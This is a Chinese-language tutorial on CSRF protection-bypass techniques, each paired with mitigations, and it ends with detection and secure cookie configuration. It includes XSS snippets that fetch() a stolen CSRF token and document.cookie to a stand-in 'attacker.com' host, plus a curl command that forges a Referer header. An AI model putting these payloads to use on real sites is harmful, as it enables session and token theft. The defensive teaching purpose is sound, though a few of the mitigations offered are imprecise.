CSRF 攻击的绕过技术是安全研究人员和攻击者不断探索的领域,了解这些技术有助于更好地设计和实施防护措施。
常见的 CSRF 防护绕过技术
1. 绕过 CSRF Token 验证
1.1 Token 泄露
javascript// 通过 XSS 窃取 CSRF Token <script> // 获取页面中的 CSRF Token const token = document.querySelector('input[name="csrf_token"]').value; // 发送到攻击者服务器 fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify({ csrf_token: token }) }); </script>
防护措施:
- 实施 HttpOnly Cookie
- 使用 Content Security Policy (CSP)
- 对 Token 进行加密签名
1.2 Token 预测
javascript// 弱随机数生成器导致的 Token 可预测 function weakCSRFToken() { // 使用时间戳作为随机源 return Date.now().toString(36); } // 攻击者可以预测下一个 Token const predictedToken = (Date.now() + 1000).toString(36);
防护措施:
- 使用加密安全的随机数生成器
- Token 长度至少 128 位
- 包含用户会话信息
2. 绕过 SameSite Cookie
2.1 SameSite=None 滥用
javascript// 服务器错误设置 SameSite=None res.cookie('sessionId', sessionId, { sameSite: 'none', secure: false // 缺少 secure 属性 }); // 攻击者可以利用此漏洞发起 CSRF 攻击
防护措施:
- SameSite=None 必须配合 secure=true
- 使用 HTTPS
- 避免不必要的 SameSite=None
2.2 浏览器兼容性问题
javascript// 检测浏览器是否支持 SameSite function checkSameSiteSupport() { const testCookie = 'test=1; SameSite=Strict'; document.cookie = testCookie; return document.cookie.includes('test'); } // 旧版浏览器不支持 SameSite,需要其他防护措施 if (!checkSameSiteSupport()) { // 使用 CSRF Token 等其他防护措施 }
3. 绕过 Referer 验证
3.1 Referer 头伪造
bash# 使用 curl 伪造 Referer 头 curl -X POST https://target-site.com/api/submit \ -H "Referer: https://target-site.com/" \ -d "data=test"
防护措施:
- Referer 验证仅作为辅助措施
- 结合 CSRF Token 使用
- 验证 Origin 头
3.2 Referer 头缺失
javascript// 某些情况下 Referer 头可能为空 const scenarios = [ 'HTTPS 到 HTTP 的请求', '隐私插件阻止 Referer', '直接输入 URL', '书签访问' ]; // 服务器应该正确处理这些情况
4. 绕过双重提交 Cookie
4.1 子域名攻击
javascript// 如果 Cookie 设置在父域名上 res.cookie('csrfToken', token, { domain: '.example.com' // 包含所有子域名 }); // 子域名存在 XSS 漏洞时,可以窃取 Token // evil.example.com 上的恶意脚本可以读取 Cookie
防护措施:
- 避免在父域名设置敏感 Cookie
- 使用更严格的域名设置
- 子域名隔离
4.2 Cookie 窃取
javascript// 通过 XSS 窃取 Cookie <script> const cookies = document.cookie; fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify({ cookies }) }); </script>
防护措施:
- 使用 HttpOnly Cookie
- 实施 CSP
- 定期更新 Token
5. 高级绕过技术
5.1 Flash CSRF
actionscript// Flash 可以绕过某些浏览器安全限制 // 即使设置了 SameSite=Strict var request:URLRequest = new URLRequest("https://target-site.com/api/submit"); request.method = URLRequestMethod.POST; var variables:URLVariables = new URLVariables(); variables.data = "test"; request.data = variables; navigateToURL(request, "_self");
防护措施:
- 禁用 Flash
- 使用 X-Frame-Options
- 实施 CSP
5.2 JSONP CSRF
javascript// 利用 JSONP 端点发起 CSRF 攻击 <script> function callback(data) { // 恶意代码 console.log(data); } </script> <script src="https://target-site.com/api/jsonp?callback=callback"></script>
防护措施:
- 避免使用 JSONP
- 使用 CORS 替代 JSONP
- 验证请求来源
5.3 DNS Rebinding
javascript// DNS Rebinding 可以绕过同源策略 // 攻击者控制 DNS 服务器,使域名在不同时间解析到不同 IP // 1. 第一次解析到攻击者服务器 // 2. 第二次解析到目标服务器 // 3. 绕过同源策略限制
防护措施:
- 使用 HTTPS
- 验证 Host 头
- 实施 DNSSEC
6. 防护绕过的检测
javascript// 检测可能的绕过尝试 function detectBypassAttempts(req) { const suspicious = { // 检测异常的 User-Agent unusualUserAgent: /bot|crawler|spider/i.test(req.headers['user-agent']), // 检测缺少 Referer 的 POST 请求 missingReferer: req.method === 'POST' && !req.headers.referer, // 检测异常的请求频率 rapidRequests: checkRequestFrequency(req.ip), // 检测可疑的 Origin suspiciousOrigin: req.headers.origin && !isTrustedOrigin(req.headers.origin) }; return suspicious; }
防护最佳实践
1. 多层防护
javascript// 实施多层防护措施 function comprehensiveCSRFProtection(req, res, next) { // 第一层:SameSite Cookie if (!validateSameSite(req)) { return res.status(403).send('Invalid SameSite'); } // 第二层:CSRF Token if (!validateCSRFToken(req)) { return res.status(403).send('Invalid CSRF Token'); } // 第三层:Referer 验证 if (!validateReferer(req)) { return res.status(403).send('Invalid Referer'); } // 第四层:Origin 验证 if (!validateOrigin(req)) { return res.status(403).send('Invalid Origin'); } next(); }
2. 安全配置
javascript// 安全的 Cookie 配置 res.cookie('sessionId', sessionId, { httpOnly: true, // 防止 XSS 窃取 secure: true, // 仅 HTTPS sameSite: 'strict', // 最严格的 CSRF 防护 domain: 'example.com', // 具体域名,不使用父域名 path: '/', // 限制路径 maxAge: 3600000 // 合理的过期时间 });
3. 定期安全审计
javascript// 安全审计检查清单 const securityAudit = { csrfToken: { isRandom: true, isLongEnough: true, hasExpiration: true, isEncrypted: false }, cookieSettings: { httpOnly: true, secure: true, sameSite: 'strict' }, validation: { refererCheck: true, originCheck: true, tokenValidation: true } };
了解 CSRF 攻击的绕过技术有助于设计更强大的防护措施,但重要的是记住安全是一个持续的过程,需要不断更新和改进防护策略。